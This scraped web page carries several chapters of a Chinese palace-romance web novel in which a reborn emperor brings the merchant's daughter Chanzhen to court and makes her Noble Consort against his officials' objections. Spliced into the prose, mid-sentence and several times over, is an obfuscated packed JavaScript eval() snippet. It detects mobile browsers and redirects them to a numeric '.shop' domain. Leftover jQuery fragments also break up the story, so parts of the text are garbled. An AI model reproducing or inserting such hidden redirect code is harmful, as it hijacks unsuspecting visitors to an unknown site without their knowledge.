;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251036|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真”二字,陈定尧定下了脚步,回过身目光深沉地从她身上扫过,突然有了点印象,之前在园子中就是她打扰了自己好事,禅真还因此为她求过情。 “朕给你一句话的时间,说清楚什么事。”他对禅真之外的人都不大有耐心,此时刚从刑场归来,耐心更是所剩无几。 又是宋禅真。 许意浓心中恨的像在滴血,这些时日她听闻宋禅真在陛下的院子一直与陛下同吃同宿,而她却连陛下的面也见不到,今早又听到下人们传言,说陛下不日便要回京,宋禅真也要被带回宫成为娘娘。明明是商人贱籍出身,却处处都压在她头上,不过想起下午从大公子书房看见的东西,她忍不住心生恶念。 “奴婢知道陛下宠爱禅真妹妹,可……可奴婢实在不忍欺瞒陛下。陛下有所不知,禅真妹妹自入府以来便独得大公子看重,平日举止与大公子也颇为亲近,妾身今日帮大公子收拾书房,不小心瞧见……”她顿了顿,显得十分犹豫,仿佛接下来的话难堪到说不出口。 “哦?瞧见什么?” 她小心抬头,见陛下神情竟然从未有过的温和,心中顿时受到鼓舞大胆地接下去:“奴婢瞧见大公子书房里藏了一幅画,上面赫然画的是禅真妹妹的肖像。” 她点到即止,大公子书房里确实藏了这样一幅画,再加上大公子之前对宋禅真的关照,够引起陛下怀疑了。 只是陛下听完她的话,却并未如她想象中震怒,反而神色莫名,叫人看不出任何情绪。她咬咬牙,再添一剂:“那幅画此刻还在大公子书房内,陛下派人一搜便知,亦可询问下人,大公子是否平日里对禅真妹妹格外关照一些。” 陈定尧冷眼看着她愚蠢的陷害,已经失去了耐心。 “郭开,拖下去处理干净。” 许意浓震惊地抬头:“陛下!” 陛下难道听不出宋禅真与大公子之间存在私情吗?为什么不处置她? “陛下,奴婢句句属实,宋禅真与大公子之间确有私情,不信您派人去查!”她挣扎着大喊。 陈定尧厌恶地移开眼,“捂住她的嘴。” 说完头也不回地转身离去。 郭开和方问上前一左一右按住她,并从怀里抽出一张巾帕塞进她的嘴里避免她再出声。许意浓在他二人手下拼命挣扎却被牢牢按住,脸陷入地上湿润的泥土里。 “哎哟,杂家就没见过这么大胆的人,刚好向着枪口上撞。”郭开看她一脸痛苦地挣扎,忍不住感慨。 方问扭头问他:“这要怎么处置?” 陛下只说拖下去处理干净,这也不知道怎么处理才合陛下心意。 郭开抹了把头上的汗:“送去叶太守那里,就说此女对陛下意图不轨,交给他处置。” 嚯!随手给安了个好大的罪名!方问嘴角抽搐,这阉人好恶毒的心思,果真不能随意招惹。他拍了拍许意浓的脸,“陛下明日就要走了,你看你做什么想不开?” 陷害人不成还把自己搭了进去,真是可怜。 但是陛下有令,他也不得不收起自己泛滥的同情心,按照郭开的说法将她押了过去。 …… 深夜,禅真睡意正浓,一具带着湿热水汽的身体钻进了她的被子,在她身旁躺下。这些日子同宿,禅真已经非常习惯了,身体下意识往旁边一滚,缩进了他的怀中。 陈定尧揽紧她,看着她平静的睡颜,心中那股冷意才完全消散。 一夜无梦。 11. 殿下终于出场了 陛下南巡离宫后,后宫中难得风平浪静了一段时日。不过随着陛下即将回宫的消息传开后,这阵表面上的平静立即便被打破。 自先皇后去世后,生育了皇长子豫王的贤妃就算的是上宫中最具资历的老人,在后宫中颇具声望,甚至隐隐压了其余二妃一头。 见下面人心浮动,贤妃便索性牵头将所有妃嫔召集到自己宫中来,说是一同商谈迎接陛下回宫的事宜,其他人倒也给她这个面子,除了一直与她不对头的淑妃。 贤妃往左侧下首一望,见独独淑妃的位置空着,脸色便显得不那么好看。 德妃向来圆滑,赶着打圆场:“自陛下离宫后,淑妃妹妹身子便一直不大好,往太医院传了好几次人呢,今日晋王还专门请了入宫探望,想来淑妃妹妹确实是病的有些严重了。” “哼。”贤妃冷笑一声,手中茶盏重重往桌上一放,“她哪是病了,怕是羞的不敢见人了吧。” 早先还在她面前炫耀晋王将代驾南巡,谁料临行前陛下突然就改了主意,倒是扇了她好大一个耳光,也叫自己出了口恶气。向来储君都是非嫡立长,明明她的云澈才是皇长子,陛下却对淑妃那个贱人生的晋王看重有加,叫她记恨了淑妃母子好久。 不过,想到云澈这段时间已借监国之机与前朝几位大臣疏通了关系,她脸色又转晴。 “不提这些扫兴事了,本宫已命人准备下去三日后的接风宴,妹妹们也该提前清理干净自己的宫苑迎接陛下,可别让陛下刚回宫就扫了兴。” 底下的妃嫔们神色各异,还是杨婕妤这个昔日宠妃先开口:“嫔妾听闻陛下此次返程时带了一民间女子回宫,倒不知是否属实?” 她手心掐紧,面上却一派云淡风轻。不同于三妃有子地位稳固,她却实实在在靠着陛下的宠爱才爬到如今的位置。陛下离宫前对她的态度已经冷落了许多,能让陛下带回宫想必那民间女子也有几分手段,恐怕会再威胁到她的地位。 贤妃略带嘲讽的淡淡扫了她一眼,杨婕妤也就是入宫晚才这么天真,她们那位陛下可不是多情的性格会长久地宠着一个人,与其盼着陛下的宠爱,还不如想办法先生下一个孩子稳固地位。 “此事本宫的确有所耳闻,不过据传言那女子出身商户身份低微,想必就是长相比常人貌美了些才叫陛下带回宫来,最多也就封个御女,倒是无足轻重,杨妹妹尽可放宽心。” 听出她话里的嘲讽,杨婕妤脸色一僵,强颜欢笑道:“嫔妾多谢贤妃娘娘关心。” 心中却暗恨,贤妃这个老女人自己得不到陛下宠爱就对她夹枪带棍的,也不知道是谁之前天天借着豫王的名义往御前跑。 回到自己所住的依兰殿,她心烦意乱地挥开了侍奉的宫女,满心的苦闷根本无从宣泄。 陛下离宫前她三番五次地到御前求见,却根本连陛下面都没见到就被赶了出来,明明自己也没有做错什么,怎么陛下突然就冷落了她。 不行,她不能就此罢休,必须要想办法重新得到陛下的宠爱。 另一边的景秀宫,经宫人通报后,晋王陈云沂终于见到了自己称病闭宫,已经月余不见人的生母淑妃。 淑妃躺在梨花木椅上,神色比外人想要的还要憔悴,令陈云沂心中一惊,真以为她是大病了一场。 看到儿子长身玉立的身影,淑妃抬手揉了揉额角,神情缓和一些,“云沂今日怎么进宫来了?莫不是前朝豫王和庄王那二人又给你使了绊子?” 陈云沂在她身旁落座,平静地端起桌上的茶水饮下一口。 “不过是一些鬼魅伎俩,用不着母妃费心。” 庄王生母不过是一个才人,即便是在德妃膝下长大,身份上也天然落了他一筹,并不敢直接与他争锋。唯有豫王仗着自己长子身份,时时对他呼来喝去,他只当无视。 豫王身份占优,若父皇有心立他为储早就该立了,何至于等到今日,现在他看豫王也不过是当一个跳梁小丑,活蹦乱跳不到几时。这些日子他故意放任豫王在前朝广交大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251037|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣,就是为了等到父皇回宫旁观他的下场,需知父皇最忌讳的便是朝堂上结党营私。 淑妃满意地看着自己的儿子,无论是从相貌还是性格,云沂都是最像陛下的,甚至陛下自己都曾亲口说过“此子最肖朕”的话,叫她一直信心满满认为陛下最是属意云沂为储君。 “若是此次你能顺利代陛下南巡,回宫后定能稳稳将其余人压下去。”淑妃心中仍十分遗憾,又有些埋怨陛下出尔反尔,“怎知陛下突然改了主意。” 陈云沂手中一顿,心中不知为何一阵异动,隐隐感觉自己在与这次南巡失之交臂的同时,也失去了其他更为重要的东西。但他面上却不动声色,“父皇自然有他自己的道理。” 淑妃知晓自己的儿子一向是有主意的,便也不再多言,反而转向了另一个话题:“母妃听说你进来很少进后院。虽然王妃的性子本宫也不大喜欢,但她毕竟出身国公府,又是陛下亲自指婚,你总要给她面上的尊重。若是能与王妃先一步生下皇孙,你在陛下面前也能多上几分筹码。” 听她提起这个话题,陈云沂面露不悦,甚至隐约有些烦躁。但是在自己母妃面前,他又强自按耐下去,做出领会的模样。 “母妃说的是,儿臣会注意。” 至于会不会照做,他心中有自己的打算。 从淑妃宫中出来,他一身冷肃地回到王府,未曾与王妃打过招呼便埋头进了书房。 侍女在旁边小心翼翼地捧着茶,连一丝声音都不敢发出。殿下这些年越来越向陛下靠拢,浑身气势逼人连她们这些从小服侍的侍女都不敢轻易打扰。 陈云沂提起笔,在纸上笔走龙蛇地画着,眉头越皱越紧,到最后忽然泄气般将笔往旁边狠狠一甩,扶着额头仰望屋顶忍不住叹气。 “为什么看不清?” 细腻的雪浪纸上,赫然是一副身姿窈窕美人图。 然而美人的脸庞处,却是一片空白。 为什么无数次梦见,我却始终看不清你的脸。 12. 陛下回宫了 越靠近皇城,越能感受到来自于北方的那股寒意,江南此时已是绿意葱茏,北地的树枝上却仍只挂着点点新绿。 禅真立在船头,正望着远方出身,肩上突然落下一件披风,回头一看,正对上陛下关切的目光。 “江上风大,小心着了凉。” 只是很寻常的一句关怀,却让禅真心头一暖。这件披风明显是属于陛下的,又长又厚实,禅真用双手拢着才没让它滑下去。 “多谢陛下。” 陈定尧看她全身裹在自己的披风里,只露出一张被江风吹的微红的脸庞,浑身上下都浸染上了自己惯常用的檀香味道,仿佛自己终于完全将这个人拥入怀中。 “在想什么?看得如此出神?” 禅真放远目光,神情中带了几分迷茫:“妾身在想,什么时候能到皇城?说起来,这还是妾身第一次离开家来到这么远的地方,不知道皇城是什么样,是不是比扬州要更加繁华,城楼也更加高大。” 她眉头微皱,满心的忐忑不安都展现在脸上,衬得那张小脸越发惹人怜惜。 陈定尧知晓她因为出身一直都缺乏安全感,即使这些天他已经尽可能地展现出了自己对她的爱重,可是回宫后到达一个新的环境,对她而言就像只受惊的小鹿误闯进了树林深处,前方未知的危险迫使她精神紧绷,对四周的一切都保持警惕。 这是她的天性使然,前世她第一次见到他时也是如此刻这般反应,他并没有觉得有什么不好。爱一个人,本就是要接受她的一切,包括她性格上的怯弱。 “皇城其实和其他地方也并没有什么不同,只要见过最高处的风景,再看其余处也只会觉得大同小异了。禅真,朕在你身边,莫要害怕。” 总有一天,他会牵着她的手,一同并肩走上那至高无上的位置。 禅真回头看向他,带着一丝试探问道:“那陛下会一直在妾身身边吗?” 她知晓自己现在唯一的依靠只有陛下,只有仰仗着陛下的宠爱才能在宫中长久生存下去。之前在江南,陛下身边只有她一个人,对她喜欢爱重也并不出奇。可是宫中有那么多的妃嫔,她入宫后会不会泯然于众,陛下是否还会像之前那样护着她。 她能想到最好的办法就是向陛下讨得一个承诺,让陛下在处置争议时,能够想起曾经的话对她稍微宽容一些。 知道自己的这个要求太过胆大,她原也没想陛下能够轻易答应,只是想尽量在陛下心中留下一丝印记。 许久没得到回应,害怕看到他冷漠拒绝的目光,禅真缓缓低下了头,却不料下一刻被拥进了一个宽阔的怀抱中。 陛下坚定的声音在她头顶响起:“朕向你保证。” …… 圣上回銮时的排场十分盛大,数百名手持各式仪仗的护卫随从依次在岸上排开,华丽的御辇被众星拱月般簇拥在最中央,周围被保护的滴水不漏。 第一次旁观这盛大的场面,禅真浑身无措,只能下意识紧紧跟在陛下身边,都不知下一步该从哪里落脚。 察觉到她的无措,陈定尧便握住了她的一只手,在众目睽睽之下,牵着她登上了御辇。 四周帷幕落下,阻隔了外面视线,禅真才恍然回神,发现自己竟浑身瘫软地几乎是躺在了陛下怀中。正想挣扎起来,却被陛下轻轻拍了下肩膀以作安抚,“别怕,以后便习惯了。” 禅真抬起头时,嘴唇险险擦过陛下坚毅的下巴。 “陛下,妾身是不是很胆小很没用?”她脸色发白,受惊之后眼中更是泛起了一层水光,眉头微垂像是下一刻就要哭出来一样。 陈定尧目光微暗,爱怜地抚摸着她的脸,手指在她的眼角那里感受到一抹湿意,心底一直压抑住的欲望瞬间就有了冒头的迹象。 可他毕竟不是血气方刚的毛头小子,将那些不堪的欲望控制的很好并未让她有所察觉。 他不会再用强迫,而要她真正心甘情愿地走到他身边来,她此时的恐惧不安于他而言就是最好的催化物。她会在恐惧之心的驱使下下意识靠近他,依赖他,最终离不开他,像她前世曾那般依赖云沂一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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禅真是与陛下乘着御辇直接被送进了紫宸殿,自始自终未曾在那群妃嫔之前露面。 陛下怜惜她初入宫闱内心惶恐不安,在殿内陪了她许久,直到郭开进来通传三妃求见,才不得不出门去,临走前还将绿珠和大宫女容英留下来陪伴她。 “姑娘,喝口茶吧。”荣英趁着奉茶的功夫,不着痕迹地打量了一眼这位与陛下同乘御辇归来,还让陛下轻声细语温柔安抚的美人。见她一副眉目含愁,似乎坐立难安的模样,心中暗道难怪陛下如此看重,这等娇弱的美人即便在花团锦簇的后宫中也是从未见过的,只是不知陛下最终会给她封个什么位份,即便是从民间带回来身份低一点,但若陛下喜欢的话一个才人位份也是堪得。 禅真抬眸,小心地接过茶,低声道了声句:“多谢” 然而她只是捧着茶并未入口,目光幽幽地盯着清澈的茶汤出神。 方才听到郭公公说殿外是三位主妃娘娘求见,在来时的路上绿珠也与她说过的,现在宫中是由三妃共同掌管宫务,她日后必定也要在这三位娘娘手底下讨生活,不知道这三位娘娘性情如何,是否好相处。 她并非经由官家采选进宫,身份上也与其余妃嫔们差了一大截,没有母家可以依靠,能仰仗的只有陛下的宠爱,可是陛下的宠爱真的能够长久吗? “姑娘在想什么?若是有任何疑问尽管与奴婢说。”荣英看她神情恍惚,想起陛下临走前的嘱托,便主动问道。 禅真抬起头,抿唇向她浅浅笑了一下,眉间的哀愁却仍未散。 “只是有些担心罢了,不知晓三位娘娘求见陛下是要说什么事。” 她自进门便一直忧愁地锁着眉,刹那的浅笑让人眼前瞬间都亮了起来,看得人心跳都漏了半拍。 荣英长长舒了口气才终于缓过来,好歹维持住了御前大宫女的体面,至少面上看上去神色自若并无任何失态。 “姑娘有所不知,三位娘娘怕是为了今晚的宴会来请示陛下。陛下离宫许久,归来后宫中自然要为陛下做好接风洗尘,大肆操办一番。” 禅真之前在经过中门时,听贤妃娘娘提起这么一回事,有些好奇地问她:“那我也需要出席吗?” 陛下临走前并未说起对她的安排,只让她在紫宸殿中坐着。 荣英顿时感到有些为难:“照往常来,宫中有品级的妃嫔皆是需要出席晚上的宴会,奴婢倒是不清楚陛下对姑娘是怎么安排的。” 毕竟陛下虽然把人带回宫了,但还没正式册封,自然禅真也不在有品级的妃嫔之列。 “是这样啊。”禅真有些失落地垂下眼眸。 陛下会封她什么位份呢?虽然陛下之前说过,可贵妃之位她肯定是想都不敢想,才人娘娘应该就算顶破天了吧。 殿中一时陷入沉寂。 荣英小心在旁边等候着吩咐,却不敢再随意搭话,生怕自己哪句说错又刺痛了她。 直到陛下从前面回来,见她安安静静地垂首坐在椅子上,手中捧着茶一副深思的模样,大步走上前问。 “怎么愁眉苦脸的?这些奴婢可是怠慢你了?” 他横眉朝身旁伺候的宫人扫了一眼,荣英和绿珠接到他的目光脸色忽的一白,毫不犹豫地就“扑通”跪了下去,浑身瑟瑟发抖。 禅真看着她二人惊惧的反应,心中忍不住歉疚:“陛下,她们并没有怠慢妾身,您别吓她们了。” 陛下拉过她的一只手,在她身旁坐下,然后随手端起了桌上未尽的茶盏。禅真瞧见他的动作睁大了眼睛,还未能开口阻止,就见他神色自然地饮了一口下去,而后淡淡道:“都起来吧。” “多谢陛下。”容华二人如蒙大赦地起身后,退至了一边等待着下一个吩咐。 禅真见他心情似乎还可以,犹豫再三,才敢开口问他:“陛下,方才三位娘娘都找您说了什么呀?” 闻言,陛下略顿了一下,才向她摇摇头:“只是一些晚宴的安排罢了。” 心中却是回想了先前的那些对话。 …… 自进殿起,贤妃就一直滔滔不绝地说着自己对于晚宴的安排,他听的有些烦躁,便直接打断:“同往例一样就好。” 听出陛下语气里的不耐,贤妃悻悻地住了嘴,不敢再多言。 她不像淑妃还曾经受过宠,从在王府时陛下待她便没多少情谊,若不是侥幸生下了皇长子,也爬不到如今贤妃的位置上,是以在陛下面前她总是缺少了几分底气,更怕哪里做不好惹陛下厌烦拖累到了自己的儿子。 淑妃看着她在陛下面前鹌鹑似的模样,心中不由冷笑。明知道陛下不喜人长篇大论,这么多年了还是一点记性都不长,怪不得生下的皇长子也不得重用。 德妃虽养着皇三子庄王,可毕竟不是亲生,虽同居妃位却仿佛矮了一头,此刻更寻不到插嘴的余地。 陈定尧仍挂念着被留在后殿里的禅真,眼前这三人面和心不和的模样更令他回忆起了前世后宫中的勾心斗角,心中一片厌恶。 前世他本已经给禅真改换好了身份,让她能够以秀女身份名正言顺地进宫为妃,却不料后宫突然走露了风声。禅真原先为晋王侍妾的经历在有心人的推波助澜下突然传遍了朝堂,致使他册封禅真为贵妃时受到了许多老臣的反对。 这件事眼前这三人或多或少都参与了进去。禅真诞下元昭后,他欲借机立元昭为储君,并册封禅真为后,又是受到了一大片反对,前朝尤以豫王、晋王和庄王的支持者跳的最为激烈。而后两年他将朝堂大肆清洗了一番,三个皇子的党羽几乎被他拔了个干净 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“陛下,臣妾听闻陛下从民间带回来一位女子。”即便陛下不喜欢自己,可是为了自己的云澈,贤妃也得想尽办法在陛下面前多留下些好印象,知道陛下不想再听自己对宴会的安排,她便想挑着他喜欢的事情说,“不知道陛下想给这位妹妹安排什么位份?” 陛下此前南巡从未带外面的女子回宫过,能叫他带回宫的必定是十分喜爱了。反正她也没得宠过,还不如顺着陛下心意多给那女子说些好话,给淑妃添添堵。 果然淑妃听她提起这个事,脸色便难看起来。 于是贤妃说的更加来劲,“虽然这位妹妹出身民间身份低了些,可若陛下喜欢,封为才人也并非不可。” 民间出身的女子,即便入了宫也都是从最低的御女做起,才人已经是有品级的妃嫔了。她主动提起给这女子提升位份,也是为了讨好陛下。 听她说完,淑妃和德妃二人都不约而同地皱起眉,尤其是德妃,看向贤妃的目光中已经带了几分不满。庄王的生母也不过就是才人身份,贤妃是疯了么才这么抬举一个商户出身的民间女子。 “陛下,此事万万不可。”淑妃才不想贤妃如愿,给自己在宫中添这么一个麻烦,“宫中妃嫔册封及晋升皆需循祖礼,岂能随意安排?” 贤妃更是和她作对,“若是陛下喜欢,又有什么不可?” 淑妃冷哼一声:“贤妃姐姐若是清闲,倒不如为自己宫里的安御女求个才人位份,毕竟安御女也算是宫中的老人了。” 她二人争的不可开交,却被陛下冷声打断。 “够了,此事朕自有安排。” …… 回到现在,看着禅真脸上的惶恐不安,他忍不住心生爱怜。 区区一个才人位份,怎么配得上他的禅真? 14. 陛下说干就干 夜幕如期降临,皇宫中却仍是一派灯火通明。 禅真由绿珠服侍换上精美的宫装,大朵怒放的牡丹点缀在裙摆间,行动时金色的丝线流光溢彩,与发间摇晃的步摇相得益彰,衬托的美人面庞越发娇艳,荣光摄人。 从更衣室走出时,禅真并没有错过陛下惊艳的目光,这让她脸颊微红,同时第一次穿上这样华贵的服饰,心中也颇为不自在。 “陛下,妾身这样穿着,是不是有些僭越了?”她小心翼翼提起裙摆,生怕一不小心将裙子勾了线。 即便来自民间,她也是知晓牡丹乃是皇后的象征,更别提这件宫裙上的牡丹皆是金线绣制,如此华贵的衣服哪怕是宫中约莫也只有几位高位娘娘穿的起。 陛下说会带她去晚上的宴会,可她想着自己方才进宫,行事还是要谨慎一些给未来的主位娘娘留下好印象,陛下这样安排倒好似迫不及待想让她大出风头一把。 重生后,陈定尧就命宫人提前定制好了这身礼服,如今终于等到心仪之人穿上它。眼前之人和前世记忆中一模一样,但是眼中却没有对自己的厌恶抗拒,而是既忐忑又隐含着一丝依赖。 他走上前,垂目细细欣赏着她的模样,直到她脸色渐渐涨红,终于忍不住别开脸,他才轻笑道:“何来僭越?” 他伸手将她头上的一支簪子扶正,“这本就是为你准备。” 他的声音动作都太过轻柔,让禅真僵直的身体也不禁放松下来。 眼前这人是她今后唯一的依靠了,心中这样想着,她又忍不住向陛下贴近几分。只要陛下没说她僭越,那外人的眼光其实也不算什么,既然已经进了宫,她总得让自己今后能够好过一点。 “陛下,我们这就走了吗?”她声音娇娇的问。 陈定尧牵过她的手,笑道:“禅真等急了?” 禅真抬眸轻轻横了他一眼,“妾身是怕其他人都等急了。” 宴会都快要开始了,王公大臣和后宫妃嫔估计都到齐了,从紫宸殿走过去还要一段时间,怎么陛下还气定神闲地等她梳妆更衣,一点都不着急呢? 她可不愿自己刚进宫就背上一个狐媚惑主、耽误陛下时间的名声。 “朕是天子,再晚出席也无人敢置喙。”陈定尧轻轻拍了拍她的肩膀安慰道。 禅真仰头看着他,“可是妾身怕呀,他们不敢说您,可是肯定会唾骂妾身。” 前朝亦有君王为博宠妃一笑从此不早朝,却引来了万人唾骂世人皆说是那名宠妃狐媚惑主,后来亡国之时更是逼着那位宠妃自尽于人前。她想要获得陛下的宠爱,因为只有陛下能够保证她在深宫中生存下去,但是她并不想走上和前朝那位宠妃一样的道路。 听到她的话语,陈定尧一时陷入沉默。 前世他一意孤行强纳她为妃,确实害她凭白遭了许多骂名,或许这也是禅真一直不肯接纳他的原因。 “放心,这一世不会了。” …… 设宴地点在太和殿前的广场上。宴会还未开始,后宫妃嫔和前朝大臣们便陆续进入了场地,宫女太监们捧着金盘玉碗,井然有序地穿插其间。 陛下还未到来,妃嫔们便三三两两地搭着话,一边心不在焉地用余光盯着入口,期待着陛下的到来。 算来自南巡前的一个月,至今已经将近三个月未曾召过人侍寝,再不抓紧等到陛下带回来的那个新人进宫,她们这些本就宠爱稀薄的老人更没有什么机会了。 杨婕妤更是精心做了装扮,清丽的妆容在一众花枝招展的后妃中显得十分突出。 淑妃向来不喜她装模作样,但是又不愿拉低身份与她一般计较,见她一副矜持自傲的模样只是眼中掠过一丝嘲讽,随即不在意地移开了眼。 不过是得了几天宠就张狂的不知天高地厚了,陛下可从来没有将人抛到脑后后又重新回头捡起来的习惯,如若不然徐才人也不会在生下庄王后,至今十几年了还一直憋屈地待在才人位份上。 杨婕妤之前得宠时行事张扬得罪了不少人,是以自她被冷落后,也有一些与她不和的妃嫔趁机下井落石,徐才人更是不放过任何一个嘲讽她的机会。 “许久不见杨婕妤如此风采,只可惜陛下离宫许久,怕是都要忘了妹妹的模样。”徐才人是宫女出身,年轻时也是位娇柔的美人得了陛下好一阵的宠爱,却不知为何在生下庄王后非但没能更进一步,还被陛下冷落至今。若不是还有个庄王生母的身份,恐怕后宫都要忘了她的存在。 杨婕妤看了她好一会儿,才秀眉微蹙道:“徐才人久不见天颜,形容憔悴至此怎生也不细细装扮,莫说陛下,便是嫔妾也是观察了许久才认出来。” “你……”徐才人被踩住痛脚脸色一变,她虽然只是一个才人,可后宫妃嫔看在庄王的面上无不给她几分薄面,只有杨婕妤自进宫便毫不把她放在眼里,叫人可恨至极。 德妃看她二人又起争执皱紧了眉,“够了,在宴会上大吵大闹还不够人笑话?” 心中却暗骂徐才人这个蠢货,怪不得过了十几年还待在才人位份没往前挪动过,要不是看在庄王的份上她真不愿处处给她收拾烂摊子。 被德妃一呵斥,众人都安份下来。三妃是从潜邸就跟在陛下身边的老人,地位十分稳固如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却忽然听见陛下带笑的声音在身旁响起。 “正巧今日诸位卿家都在,朕有道圣旨要颁布。郭开,宣旨!” 郭开立马展开早已预备好的圣旨,深吸了一口气尽量让自己的声音不要颤抖。 前面说的什么禅真都没有仔细去听,只觉得耳边嗡嗡的,直到最后一句落下,像是耳边突然炸下一道响雷,除此之外一切声音都消失殆尽。 “……着即册封为贵妃。钦此!” 15. 陛下一人战众臣 陛下这一道圣旨来得措不及防,叫下面的人都瞬间炸开了锅。 “陛下三思啊!”立马就有官员站出来反对,“历来妃嫔入宫皆是依照家世册封品级,由低位慢慢做起,岂有这般一步登天之理,还请陛下三思!” 三妃也坐不住了,再不出言,往后岂不是要任由一个出身低微的新人压在自己头上。那可是四妃之首,仅次于皇后的贵妃位,陛下怎能如此乱来。 “陛下,臣妾知晓陛下喜爱这位新妹妹,若是封个才人美人位也着实无妨。”淑妃脸上笑容都僵住了,心中后悔不已,早知如此之前就该顺着贤妃提议,给出一个才人位份。相比于贵妃,一个小小的才人位份实在是影响不了什么。 贤妃也不再和淑妃争锋相对,难得附和起来,“对呀陛下,贵妃可是皇后之下众妃之首,一个商户之女怎么……” 说到一半她突然意识到自己口不择言,说出了内心真实想法,悻悻地闭了嘴。 陛下的表情越发冷淡:“商户之女如何?难道朕心仪的女子还配不上区区一个贵妃之位?” 听出陛下语气中的不悦,淑妃狠狠剜了贤妃一眼。这个蠢货,这种时候怎么敢明着忤逆陛下,真是越添麻烦。 陈定尧见身旁禅真低着头,似乎还没方才的圣旨震惊到了没有反应过来,于是握住她一只手。 禅真感受到手中的温度,抬起头有些不知所措地看着他。 她原本以为封贵妃只是陛下的一句玩笑话,没想到陛下竟然说到做到,在这么多人面前颁发了圣旨。对上陛下坚定温柔的目光,她内心的惶恐不安似乎也被抚平下来。陛下为他承担了这么多的压力,她总不能白眼狼一样再去抗拒他。 于是第一次,禅真主动反握紧了陛下的手。陛下既然真心待她,那她也不能让陛下的一片真心错付。 察觉出她内心的软化,陈定尧面色如常,只是握住她的力度更大了些。 “如众卿所言,商户之女配不上贵妃的位份,那国侯之女如何?” 陈定尧并不打算退让,反而面带笑意地俯视着下首,往上更添了一把火。 “众位爱卿当真是栋梁之材为朕着想,朕原还不曾想到这个层面,多亏众卿替朕解疑。”他悠悠叹了口气,“若是先提携贵妃母家为国侯,以国侯之女的身份入宫,想必连皇后之位也是担得起,朕也不必因此委屈了心爱的女子。众卿对朕的这份心意实在难得,郭开,再传朕一道旨意。” “陛下!”众人又是脸色大变。 初入宫便册封贵妃已是前所未有了,陛下竟还想先提携那商户一家为国侯,再以国侯之女身份直接进封那女子为皇后,陛下这是疯了吗? 陈定尧仍是气定神闲:“众卿以为如何?” 众人骑虎难下,也明白陛下这是心意已决,不容再多人违逆。要么顺应陛下旨意同意册封那女子为贵妃,要么让陛下以国侯之女身份迎那女子成为中宫皇后,两权相害取其轻,怎么看都是前者更容易接受。 不过一个贵妃之位,兴许陛下对那女子只是一时痴迷,等清醒后又会将人抛之脑后,废贵妃可比废后容易的多。 想清楚利弊后,先前跳出来反对的那位大臣已经率先低下头:“臣领旨,拜见贵妃娘娘。” 有一个人先松了口,其他人便也不再纠结,纷纷起身拜下。 “臣等拜见贵妃娘娘!” 前朝大臣都已经接受了陛下的旨意,后宫众妃嫔再极力反对也只能是回天乏术。三妃犹自僵持不肯低头,身后中低位份的妃嫔已经放弃了挣扎。 “臣妾拜见贵妃娘娘!” 陈定尧看向仍坚持着不肯低头的三妃,声音凉薄:“朕此前离宫南巡,命豫王、晋王与庄王三位皇子共同监国,回来后还不曾验收过成果。老四老五年龄也不小了,是时候该出宫建府,替朕分担一些政事。” 听闻陛下此言有再往下提拔其他皇子的意思,三妃终于醒悟过来。 是了,陛下只要做下了决定就向来不容人反驳,她们自恃身份再僵持下去也毫无意义,反而会给前朝的皇子带来不良影响。不过是贵妃又如何,她们膝下的皇子俱已长大成人,即便陛下宠爱那个女人,即便她今后诞下皇子,年龄也已经比其他皇子落后了一大截,她来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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是错觉吗?她皱着眉想。 “禅真?”陛下向她举起酒杯,面上带上温和的笑容。 禅真回过神不再多想,也端起桌上的酒杯回敬他:“陛下,请。” 陛下似乎特意安排过,她桌上的酒水味道很淡,倒是有一股浓郁的果香,喝下去十分清爽并不醉人。 陈定尧抬起酒杯一饮而尽,倒映在杯盏中的双眸却一片阴沉。 禅真还未行过册封礼,这后宫就有人坐不住了。 16. 陛下得寸进尺 酒过三巡,贤妃精心安排的歌舞还未上场,就见陛下要携着新封的贵妃娘娘一同乘坐御辇离开了。 有大臣想上前劝阻,却被身边人拉住,对着他摇了摇头。 “陛下这是……”大臣重重叹了口气。 “陛下已经退了一步台阶,咱们再上前逼迫的话只怕得不偿失。”毕竟陛下性格可不似先帝软弱,自登基以来陛下哪次下的决定会因为他们反对就收回去。他摸了摸花白的胡须,看向一片愁云惨淡的后妃,“这后宫,马上就变天了。” 至于会不会影响到前朝,就要看那位贵妃什么时候能够生下皇子。 